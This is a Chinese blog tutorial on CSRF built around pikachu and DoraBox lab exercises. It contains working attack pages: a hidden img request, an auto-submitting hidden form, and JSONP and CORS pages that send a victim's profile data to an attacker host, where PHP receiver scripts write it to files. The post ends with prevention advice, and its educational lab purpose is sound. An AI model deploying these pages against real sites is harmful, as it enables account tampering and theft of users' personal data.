nikiss

CSRF

参考内容

写入型 https://blog.csdn.net/freeking101/article/details/86537087

读取型 https://www.jianshu.com/p/d0575f50e5d6

 

CSRF全称corss-site request forgery,中文是跨站请求伪造。

攻击类型有写入型和读取型

请求方式get和post都有

在讲这个漏洞前需要先带一下cookie和session的知识

cookie的话用户数据保存在客户端,而session的用户数据是存在服务端,session其实也算cookie

比如网站的自动登录很多都是利用cookie实现的,在访问站点的时候会把cookie带上然后进行校验然后登陆

cookie具有指向性,就是访问a网站的时候只会携带a网站生成的cookie,访问b网站的时候只会携带b网站生成的cookie

这些是由浏览器来完成,就是不存在用a网站生成的cookie去访问b网站的情况

OK,下面开始讲这个漏洞

 

个人表达不好,直接上例子

http://pay.php?user=tom&for=lucy&amount=100

假设tom给lucy转100元,请求链接长上面那样

然后黑客john也用这个网站转账,然后想搞tom的钱,就构造一个不可描述的网站发给tom

网站里面并没有显示和转账网站有关的内容,但有其中一张img元素的src是 http://pay.php?user=tom&for=john&amount=100

如果tom之前登陆了这个网站并没有退出,并打开了john这个网站,那么就会从tom的浏览器发送一个请求给转账网站,从tom的余额转100元给john,只要打开或刷新一次就会转一次账

上面这种就是写入型get型csrf攻击

 

攻击原理

黑客伪造一个url请求,放到一个钓鱼网站里,当其他用户进入这个网站并在登陆状态的情况下,这个网站就会携带该用户的cookie发送请求

由于服务器并不知道是谁访问的,它只认cookie,只要cookie没问题,那就会正常处理请求。

 

靶场实例(写入型)

pikachu靶场有三个csrf实例

 

 

 先从CSRF(get)开始

 

 

 拿lucy开刀

点击submit,开burpsuite代理抓包

 

 

 可以看到url里有很多参数,写一个攻击网站,表面是你好,背地里加一个img元素,里面的src就是进行csrf攻击的url

<html>
<head>
    <meta charset="utf-8" />
</head>
<body>
    <h1>你好!</h1>
    <img src=http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=000&add=here&email=a%40qq.com&submit=submit
        width='0' height='0'>
</body>
</html>

打开攻击网站,只有你好二字

 

 然而回去看lucy的信息已物是人非

 

 

下一个CSRF(post)

由于post是表单提交,这个要麻烦点,为了能实现进去就攻击,不需要用户手动提交,就用js实现模拟提交,代码网上找的

Window.onload方法由于表单里面必须要有一个submit参数,所以没法用submit()方法自动提交,只能模拟提交了

攻击网站如下

<html>
<head>
    <meta charset="utf-8" />
</head>
<script>
    // 1毫秒后模拟点击
    window.onload = function () {
        setTimeout(function () {
            // IE
            if (document.all) {
                document.getElementById("submit").click();
            }
            // 其它浏览器
            else {
                var e = document.createEvent("MouseEvents");
                e.initEvent("click", true, true);
                document.getElementById("submit").dispatchEvent(e);
            }
        }, 1);
    }
</script>
<body>
    <h1>你好</h1>
    <form method="post" id="test" name="test"
        action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
        <input hidden type="text" name="sex" value="girl" />
        <input hidden type="text" name="phonenum" value="666" />
        <input hidden type="text" name="add" value="here" />
        <input hidden type="text" name="email" value="lucy@qq.com" />
        <input hidden type="submit" id="submit" name="submit" value="submit" />
    </form>
</body>
</html>

打开页面闪过 你好 二字(1ms)就跳过去个人信息页面了

 

 信息也被修改

 

最后一个CSRF(token)

抓包

 

 也是get方法,不过参数里面多了一个token

 

 

这个token每次都会变,这就没法伪造了,去看看源码

//生成一个token,以当前微妙时间+一个5位的前缀
function set_token()
{
    if (isset($_SESSION['token'])) {
        unset($_SESSION['token']);
    }
    $_SESSION['token'] = str_replace('.', '', uniqid(mt_rand(10000, 99999), true));
}

每次返回前端页面都会随机生成一个token存在session,开头说了,session是存在服务端上的,这就没辙了,因为每次都随机,而且token不是在客户端本地,没法伪造请求了。

 

靶场实例(读取型)

DoraBox靶场有两个实例

 

 

 JSONP劫持,访问url

http://localhost/dorabox/csrf/jsonp.php?callback=test

现在以用户的身份点击,就会返回这么一串json格式的数据

test({"username":"Vulkey_Chen","mobilephone":"13188888888","email":"admin@gh0st.cn","address":"\u4e2d\u534e\u4eba\u6c11\u5171\u548c\u56fd","sex":"Cool Man"})

 

现在切换到黑客的身份,我要盗取用户访问这个url后返回的数据,编写钓鱼网页如下

<html>
<head>
    <meta charset="utf-8" />
</head>
<body>
    <script>
        function Callback(json) {
            url = "http://csrf.com/payload/csrf/csrf-jsonp-load.php?result=" + JSON.stringify(json);
            var request = new XMLHttpRequest();
            request.open("GET", url);
            request.send(null);
        }
    </script>
    <script src="http://localhost/dorabox/csrf/jsonp.php?callback=Callback">
    </script>
    <h1>你好</h1>
</body>
</html>

接收端网页

<?php
header('Access-Control-Allow-Origin:*');
if (!isset($_GET['result'])) {
    echo "none";
    exit();
} else {
    $data = $_GET['result'];
}
echo $data;
file_put_contents("1.txt", $data);

访问钓鱼网站,仅有你好二字

 

 

 然后看看接收端那边,多了一个1.txt,可以看到数据已被获取

 

 

 

CORS跨域资源读取,访问url

http://localhost/dorabox/csrf/userinfo.php

现在以用户的身份点击,就会返回这么一串json格式的数据

{"username":"Vulkey_Chen","mobilephone":"13188888888","email":"admin@gh0st.cn","address":"\u4e2d\u534e\u4eba\u6c11\u5171\u548c\u56fd","sex":"Cool Man"}

现在切换到黑客的身份,我要盗取用户访问这个url后返回的数据,编写钓鱼网页如下

<html>
<head>
    <meta charset="utf-8" />
</head>
<body>
    <script>
        function cors() {
            var xhr = new XMLHttpRequest();
            xhr.onreadystatechange = function () {
                if (xhr.readyState === 4) {
                    url = "http://csrf.com/payload/csrf/csrf-cors-load.php?result=" + xhr.responseText;
                    var request = new XMLHttpRequest();
                    request.open("GET", url);
                    request.send(null);
                }
            }
            xhr.open("GET", "http://localhost/dorabox/csrf/userinfo.php");
            xhr.send();
        }
        cors();
    </script>
    <h1>你好</h1>
</body>
</html>

接收端网页

<?php
header('Access-Control-Allow-Origin:*');
if (!isset($_GET['result'])) {
    echo "none";
    exit();
}
$data = $_GET['result'];
file_put_contents("2.txt", $data);

访问钓鱼网站,仅有你好二字

 

 然后看看接收端那边,多了一个2.txt,可以看到数据已被获取

 

 

 

 

漏洞成因

1、用户的登陆信息,就是cookie存在本地

2、用户使用完网站后没退出登录状态

3、服务器没有有效检验请求合法性

 

预防方法

1、简单粗暴点的,不保留用户保持登陆状态,但对用户来说不方便,或者设置较短的过期时间

2、设置随机token且存进session,这样攻击者没法获取,如果存进cookie还是很容易被盗取

3、尽量使用post方法,这样参数不会暴露在url中

4、cookie不要存用户的敏感信息

5、敏感操作进行二次校验,比如短信验证码,人机交互验证码,旧信息验证

6、验证referer请求来源

posted on 2021-03-18 11:40  nikiss  阅读(133)  评论(0编辑  收藏  举报